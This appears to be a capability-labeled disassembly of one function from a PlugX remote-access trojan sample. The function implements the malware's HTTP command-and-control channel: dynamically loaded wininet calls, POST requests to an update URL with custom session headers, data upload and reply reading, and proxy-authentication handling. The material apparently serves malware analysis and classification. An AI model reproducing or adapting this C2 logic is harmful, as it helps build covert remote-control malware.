Function at 0x10020b30
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x54]
push edi
mov ebx, ecx
mov dword [ebp - 0x34], 0x1002a6a8
push ebx
push str._update_id_8.8x
xor edi, edi
push eax
mov dword [ebp - 0x30], edi
call esi
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0xc
mov eax, dword [0x100310fc]
mov dword [ebp - 8], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], ecx
test eax, eax
jne 0x10020b9a
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020b8c
push str.wininet
call ecx
mov dword [0x100310b0], eax
push str.HttpOpenRequestA
push eax
call dword [ebp - 8]
mov dword [0x100310fc], eax
push 0
push 0x84400100
lea ecx, [ebp - 0x34]
push ecx
push 0
push 0
lea ecx, [ebp - 0x54]
push ecx
push str.POST
push dword [ebp + 0xc]
call eax
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x10020be8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x10020bdd
push esi
mov edx, 0x23f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x100310b4]
mov dword [ebp - 0x14], 0x7530
test eax, eax
jne 0x10020c1c
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020c0e
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [ebp - 8]
mov dword [0x100310b4], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
push 2
push dword [ebp + 0xc]
call eax
test eax, eax
jne 0x10020c40
push eax
mov edx, 0x246
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
test eax, eax
jne 0x10020c6d
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020c5f
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [ebp - 8]
mov dword [0x100310b4], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
push 6
push dword [ebp + 0xc]
call eax
test eax, eax
jne 0x10020c91
push eax
mov edx, 0x24b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
test eax, eax
jne 0x10020cbe
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020cb0
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [ebp - 8]
mov dword [0x100310b4], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
push 5
push dword [ebp + 0xc]
call eax
test eax, eax
jne 0x10020ce2
push eax
mov edx, 0x250
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
push dword [ebx + 0x16c]
mov eax, dword [ebx + 0x174]
push str.X_Session
push str._s:__d
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
call esi
mov eax, dword [0x100310f8]
add esp, 0x10
test eax, eax
jne 0x10020d30
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020d22
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.HttpAddRequestHeadersA
push eax
call dword [ebp - 8]
mov dword [0x100310f8], eax
mov ecx, dword [ebp + 8]
push 0x20000000
push 0xffffffffffffffff
push ecx
push dword [ebp + 0xc]
call eax
push dword [ebp - 0x10]
push str.X_Status
push str._s:__d
push dword [ebp + 8]
call esi
mov eax, dword [0x100310f8]
add esp, 0x10
test eax, eax
jne 0x10020d82
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020d74
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.HttpAddRequestHeadersA
push eax
call dword [ebp - 8]
mov dword [0x100310f8], eax
mov ecx, dword [ebp + 8]
push 0x20000000
push 0xffffffffffffffff
push ecx
push dword [ebp + 0xc]
call eax
mov eax, dword [ebx + 0x1a8]
sub eax, dword [ebx + 0x1b8]
push eax
push str.X_Size
push str._s:__d
push dword [ebp + 8]
call esi
mov eax, dword [0x100310f8]
add esp, 0x10
test eax, eax
jne 0x10020dde
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020dd0
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.HttpAddRequestHeadersA
push eax
call dword [ebp - 8]
mov dword [0x100310f8], eax
mov ecx, dword [ebp + 8]
push 0x20000000
push 0xffffffffffffffff
push ecx
push dword [ebp + 0xc]
call eax
mov eax, dword [ebx + 0x170]
inc eax
push eax
push str.X_Sn
push str._s:__d
push dword [ebp + 8]
call esi
mov eax, dword [0x100310f8]
add esp, 0x10
test eax, eax
jne 0x10020e35
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020e27
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.HttpAddRequestHeadersA
push eax
call dword [ebp - 8]
mov dword [0x100310f8], eax
mov ecx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push 0x20000000
push 0xffffffffffffffff
push ecx
push esi
call eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10020e6e
cmp eax, 1
jne 0x10020e65
mov edi, dword [ebx + 0x1a4]
mov eax, dword [ebx + 0x164]
cmp edi, eax
cmovge edi, eax
jmp 0x10020e70
cmp eax, 2
jne 0x10021641
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], 0
nop word [eax + eax]
push 0x28
xor edx, edx
lea ecx, [ebp - 0x7c]
call fcn.100242ad
mov eax, dword [0x100310f4]
add esp, 4
mov dword [ebp - 0x7c], 0x28
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x64], 0
test eax, eax
jne 0x10020ed1
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020ebf
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
mov edi, dword [ebp - 8]
push str.HttpSendRequestExA
push eax
call edi
mov dword [0x100310f4], eax
jmp 0x10020ed4
mov edi, dword [ebp - 8]
push 0
push 0
push 0
lea ecx, [ebp - 0x7c]
push ecx
push esi
call eax
test eax, eax
je 0x10021619
cmp dword [ebp - 0xc], 0
je 0x10020f37
mov eax, dword [0x100310f0]
mov esi, dword [ebx + 0x198]
test eax, eax
jne 0x10020f21
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020f14
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetWriteFile
push eax
call edi
mov dword [0x100310f0], eax
lea ecx, [ebp - 0x2c]
push ecx
push dword [ebp - 0xc]
push esi
mov esi, dword [ebp + 0xc]
push esi
call eax
test eax, eax
je 0x100210b6
mov eax, dword [0x100310ec]
test eax, eax
jne 0x10020f63
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020f56
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.HttpEndRequestA
push eax
call edi
mov dword [0x100310ec], eax
push 0
push 0
push 0
push esi
call eax
test eax, eax
jne 0x10020f8c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 0x2f00
jne 0x100210d4
mov edi, dword [ebp - 0xc]
jmp 0x10020e80
lea eax, [ebp - 0x1c]
push eax
push 0x1002a3ea
push 0x13
push esi
call fcn.100219d0
mov edi, eax
test edi, edi
jne 0x10021600
mov eax, dword [ebp - 0x1c]
cmp eax, 0xc8
je 0x10021155
cmp eax, 0x197
jne 0x1002114e
mov ecx, dword [ebp - 0x18]
mov eax, ecx
inc ecx
mov dword [ebp - 0x18], ecx
cmp eax, 3
jg 0x10021147
cmp byte [ebx + 0xe0], 0
lea esi, [ebx + 0xe0]
je 0x100210ed
cmp byte [ebx + 0x120], 0
lea edi, [ebx + 0x120]
je 0x100210ed
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x20], eax
mov eax, dword [0x100310b4]
test eax, eax
jne 0x1002102f
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10021021
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [ebp - 8]
mov dword [0x100310b4], eax
push dword [ebp - 0x20]
push esi
push 0x2b
push dword [ebp + 0xc]
call eax
test eax, eax
je 0x10021052
push 0
mov edx, 0x2b5
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov eax, dword [0x100310b4]
test eax, eax
jne 0x10021088
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1002107a
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [ebp - 8]
mov dword [0x100310b4], eax
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x2c
push esi
call eax
mov edi, dword [ebp - 0xc]
test eax, eax
je 0x10020e80
push 0
mov edx, 0x2ba
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
jmp 0x10020e80
push 0
mov edx, 0x28c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x100210f5
test edi, edi
je 0x100210f5
push edi
mov edx, 0x299
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
jmp 0x100210f5
mov edi, 0x2eee
mov esi, dword [ebp + 0xc]
mov eax, dword [0x100310a0]
test eax, eax
jne 0x10021122
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10021114
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetCloseHandle
push eax
call dword [ebp - 8]
mov dword [0x100310a0], eax
push esi
call eax
test eax, eax
jne 0x1002113c
push eax
mov edx, 0x3b3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edi, 0x2eee
jmp 0x100210f5
mov edi, 0x2ee4
jmp 0x100210f5
lea eax, [ebp - 0x28]
push eax
push 0x1002a3ea
push 5
push esi
call fcn.100219d0
mov edi, eax
test edi, edi
je 0x10021195
push 0
mov edx, 0x2c7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push edi
mov edx, 0x2c7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 8
jmp 0x100210f5
lea eax, [ebp - 0x24]
push eax
push str.X_Session
push 0xffff
push esi
call fcn.100219d0
mov edi, eax
test edi, edi
je 0x100211d8
push 0
mov edx, 0x2cc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push edi
mov edx, 0x2cc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 8
jmp 0x100210f5
lea eax, [ebp - 0x20]
push eax
push str.X_Status
push 0xffff
push esi
call fcn.100219d0
mov edi, eax
test edi, edi
je 0x1002121b
push 0
mov edx, 0x2d1
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push edi
mov edx, 0x2d1
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 8
jmp 0x100210f5
lea eax, [ebp - 0x1c]
push eax
push str.X_Size
push 0xffff
push esi
call fcn.100219d0
mov edi, eax
test edi, edi
je 0x1002125e
push 0
mov edx, 0x2d6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push edi
mov edx, 0x2d6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 8
jmp 0x100210f5
lea eax, [ebp - 0x18]
push eax
push str.X_Sn
push 0xffff
push esi
call fcn.100219d0
mov edi, eax
test edi, edi
je 0x100212a1
push 0
mov edx, 0x2db
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push edi
mov edx, 0x2db
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 8
jmp 0x100210f5
cmp dword [ebp - 0x20], 1
je 0x100212f2
lea esi, [ebx + 0x17c]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [ebx + 0x174], 4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x2746
mov ecx, ebx
call fcn.10020380
test eax, eax
je 0x100210f2
push 0
mov edx, 0x2f0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
jmp 0x100210f2
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebx + 0x164], eax
mov dword [ebx + 0x160], 0
test edx, edx
jne 0x1002136e
lea esi, [ebx + 0x17c]
push esi
call ecx
cmp dword [ebx + 0x174], 0
mov eax, dword [ebp - 0x24]
mov dword [ebx + 0x16c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x170], eax
jne 0x1002134d
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
mov dword [ebx + 0x174], 1
call eax
jmp 0x1002142f
mov edx, 0x310
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add esp, 4
push esi
call eax
jmp 0x1002142f
cmp edx, 1
jne 0x10021552
mov eax, dword [ebx + 0x170]
mov esi, dword [ebp - 0x18]
add eax, 2
cmp eax, esi
je 0x100213a5
push 0
mov edx, 0x31d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov edi, 0xd
jmp 0x100210f2
lea eax, [ebx + 0x17c]
push eax
call ecx
mov eax, dword [ebx + 0x198]
add eax, dword [ebp - 0xc]
mov dword [ebx + 0x170], esi
mov esi, dword [ebx + 0x1a4]
sub esi, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
cmp esi, dword [ebx + 0x194]
jle 0x100213e8
push 0
mov edx, 0x4d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
mov eax, dword [ebp - 0x24]
add esp, 4
mov ecx, dword [ebx + 0x198]
mov edx, eax
push esi
call fcn.1002427e
mov eax, dword [ebp - 0xc]
add esp, 4
sub dword [ebx + 0x1a4], eax
lea eax, [ebx + 0x17c]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call eax
mov ecx, ebx
call fcn.10020420
test eax, eax
je 0x1002142f
push 0
mov edx, 0x339
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov esi, dword [ebp + 0xc]
mov eax, dword [0x100310a4]
test eax, eax
jne 0x1002145f
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10021451
push str.wininet
call dword [ebp - 4]
mov dword [0x100310b0], eax
push str.InternetReadFile
push eax
call dword [ebp - 8]
mov dword [0x100310a4], eax
lea ecx, [ebp - 0x10]
push ecx
push 0x2000
push dword [ebp + 8]
push esi
call eax
test eax, eax
je 0x100210ca
cmp dword [ebp - 0x10], 0
je 0x100215a3
cmp dword [ebx + 0x174], 1
jne 0x10021432
lea eax, [ebx + 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebx + 0x1b8]
mov esi, dword [ebp - 0x10]
add eax, esi
cmp eax, dword [ebx + 0x1a8]
jle 0x100214e2
push 0
mov edx, 0x374
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push 0
mov edx, 0x375
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
push 0
mov edx, 0x376
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
mov esi, dword [ebp - 0x10]
add esp, 0xc
mov eax, dword [ebx + 0x1b8]
mov dword [ebp - 0x24], eax
add eax, esi
cmp eax, dword [ebx + 0x1a8]
jle 0x10021509
push 0
mov edx, 0x4d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [ebx + 0x1ac]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp + 8]
push esi
call fcn.1002427e
mov eax, dword [ebp - 0x10]
add esp, 4
add dword [ebx + 0x1b8], eax
lea eax, [ebx + 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, ebx
call fcn.100204d0
mov esi, dword [ebp + 0xc]
test eax, eax
je 0x10021432
push 0
mov edx, 0x389
jmp 0x10021422
cmp edx, 2
jne 0x1002158a
lea esi, [ebx + 0x17c]
push esi
call ecx
cmp dword [ebx + 0x174], 2
jne 0x10021580
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
mov dword [ebx + 0x174], 4
call eax
jmp 0x1002142f
mov edx, 0x34c
jmp 0x10021352
push 0
mov edx, 0x357
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
jmp 0x10021432
cmp dword [ebp - 0xc], 0
je 0x100215b8
mov dword [ebx + 0x178], 1
jmp 0x100210f5
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x100215ce
mov dword [ebx + 0x178], 0
jmp 0x100210f5
cmp dword [ebx + 0x178], 0
je 0x100210f5
xor esi, esi
nop dword [eax]
cmp dword [ebx + 0x1a4], 0
jne 0x100210f2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x100215e0
jmp 0x100210f2
push 0
mov edx, 0x2a1
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
jmp 0x100210f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x100210f5
push edi
mov edx, 0x283
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
jmp 0x100210f5
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
push 0
cmp eax, 4
jne 0x1002165f
mov edx, 0x268
call fcn.10024152
add esp, 4
jmp 0x100210f5
mov edx, 0x26c
call fcn.10024152
add esp, 4
jmp 0x100210f5